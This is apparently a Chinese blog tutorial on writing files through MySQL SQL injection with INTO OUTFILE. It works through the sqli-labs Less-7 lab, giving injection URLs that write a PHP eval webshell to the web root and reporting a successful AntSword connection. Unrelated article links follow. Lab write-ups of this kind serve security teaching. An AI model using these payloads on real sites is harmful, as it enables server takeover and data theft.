SQL注入写文件的三个必要条件

  1. Web目录有读写权限:

    当目标网站的Web目录具有读写权限时,攻击者可以通过注入恶意SQL语句将恶意文件写入服务器上的Web目录。

  2. 知道文件的绝对路径:

    攻击者需要知道目标系统上的文件的绝对路径,以便将恶意内容写入到指定目录的文件中。

  3. secure_file_priv为空或者包含当前目录地址(在my.ini配置):

    MySQL数据库服务器配置中的secure_file_priv参数规定了MySQL服务器允许执行INTO OUTFILE写入的目录。如果secure_file_priv为空,或者包含了当前目录地址,攻击者可以将恶意文件写入到该目录中,从而获取对服务器的控制权。

INTO OUTFILE是MySQL中用于将查询结果输出到文件的语法。它允许将查询结果写入到服务器文件系统中的指定文件。语法如下:

SELECT column1, column2, ...
INTO OUTFILE 'file_path'
FROM table_name
WHERE condition;

实验环境:服务器为Windows Server 2008 R2,数据库版本为MySQL5.7,实验网站为sqli-labs

sqli-labs第七关源码示例

通过源码可以看出,参数后面加上'))即可闭合参数

SELECT * FROM users WHERE id=(('1'))union select 1,2,3--+)) LIMIT 0,1

随便写一个文件试试:

http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,3 into outfile 'C:/www/1.php'--+

虽然前面报错了,但这里查看服务器发现文件成功写入了

这次尝试写入shell

http://192.168.171.30/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["c"]);?>' into outfile 'C:/www/shell.php'--+

上传成功

用蚁剑连接成功

SQL注入上传文件获取shell的更多相关文章

  1. js上传文件获取文件流

    上传文件获取文件流 <div> 上传文件 : <input type="file" name = "file" id = "file ...

  2. Spring Boot 上传文件 获取项目根路径 物理地址 resttemplate上传文件

    springboot部署之后无法获取项目目录的问题: 之前看到网上有提问在开发一个springboot的项目时,在项目部署的时候遇到一个问题:就是我将项目导出为jar包,然后用java -jar 运行 ...

  3. 通过form表单上传文件获取后台传来的数据

    小伙伴是不是遇到过这样的问题,通过submit提交form表单的时候,不知怎么获取后台传来的返回值.有的小伙伴就会说你不会发送ajax,其实也会.假如提交的form表单中含有文件,怎么办? 步骤1:想 ...

  4. input上传文件获取文件后缀名+select通过text选中option

    1.input获取后缀名 var fileName = $("input[type='file']").val();//获取上传的文件(单个) var extName = file ...

  5. java上传文件获取跟目录的办法

    在java中获得文件的路径在我们做上传文件操作时是不可避免的.web 上运行1:this.getClass().getClassLoader().getResource("/"). ...

  6. js上传文件获取客户端地址

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  7. 前端使用nginx上传文件时,进度获取不对

    在使用iview时,上传文件获取进度时onUploadProgress返回数据不对. 原因是开启了nginx代理,本地上传时先传到本地nginx然后在传到服务器,导致获取进度不对 解决:在nginx的 ...

  8. 基于spring-boot的web应用,ckeditor上传文件图片文件

    说来惭愧,这个应用调试,折腾了我一整天,google了很多帖子,才算整明白,今天在这里做个记录和分享吧,也作为自己后续的参考! 第一步,ckeditor(本博文论及的ckeditor版本4.5.6)的 ...

  9. from表单实现无跳转上传文件,接收页面后台数据

    实现无跳转发送表单数据.文件,并能接收后台返回的数据. 主要技术要点: 1.form表单添加target属性,指定一个iframme的name:form表单提交后在iframe内嵌窗口接受响应,主页面 ...

  10. Servlet 表单及上传文件

    // 文件路径 D:\ApacheServer\web_java\HelloWorld\src\com\test\TestServletForm.java package com.test; impo ...

随机推荐

  1. JS深入学习笔记 - 第三章.变量作用域与内存

    1.原始值和引用值 ECMScript变量包含两种不同类型是数据:原始值和引用值. 原始值:最简单的数据.有6中原始值:Undefined.Null.Boolean.Number.String和Sym ...

  2. Hadoop集群模式安装笔记

    前言 Hadoop集群=HDFS集群+YARN集群 特点:两个集群逻辑上分离,通常物理上在一起:并且都是标准的主从架构集群 Hadoop安装 方式一源码编译安装 方式二官方编译安装包 () 环境 Ce ...

  3. Background Removal obs

    Background Removal / Portrait Segmentation / Virtual Green-screen v0.5.16 Go to download Author roys ...

  4. MySQL PXC集群新增一个高版本节点

    已有的一个 MySQL PXC 集群环境,因为种种原因仅剩一个节点 node1,需要新增一个集群节点 node2. node1 版本:donor version (8.0.21) node2 版本:l ...

  5. jmeter生成HTML性能测试报告(非GUI的命令)

    非GUI的命令(在cmd执行即可 不需要打开jmeter) 使用命令:jmeter  -n  -t  [jmx file]  -l  [jtl file]  -e  -o   [report path ...

  6. 深入理解 python 虚拟机:GIL 源码分析——天使还是魔鬼?

    深入理解 python 虚拟机:GIL 源码分析--天使还是魔鬼? 在目前的 CPython 当中一直有一个臭名昭著的问题就是 GIL (Global Interpreter Lock ),就是全局解 ...

  7. Emit 实体绑定源码开源,支持类以及匿名类绑定(原创)

    动态实体绑定 主要有以下两种 1.表达式树构建委托 2.Emit构建委托 根据我的经验 Emit 代码量可以更少可以很好实现代码复用 Emit实践开源项目地址跳转 https://www.cnblog ...

  8. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-21-处理鼠标拖拽-番外篇

    1.简介 前边宏哥拖拽有提到那个反爬虫机制,加了各种参数,以及加载js脚本文件还是有问题,偶尔宏哥好像发现了解决问题的办法,看到了黎明的曙光,宏哥就说试一下看看行不行,万一实现了.结果宏哥试了结果真的 ...

  9. Python 模块:创建、导入和使用

    什么是模块? 将模块视为代码库.模块是一个包含一组函数的文件,您想要在应用程序中包含这些函数. 创建一个模块 要创建一个模块,只需将要包含在其中的代码保存在扩展名为 .py 的文件中: 示例:将以下代 ...

  10. 使用单卡v100 32g或更低显存的卡,使用peft工具qlora或lora混合精度训练大模型chatGLM2-6b,torch混合精度加速稳定训练,解决qlora loss变成nan的问题!

    最近新换了工作,以后的工作内容会和大模型相关,所以先抽空跑了一下chatGLM2-6b的demo,使用Qlora或lora微调模型 今天简单写个文档记录一下,顺便也是一个简单的教程,并且踩了qlora ...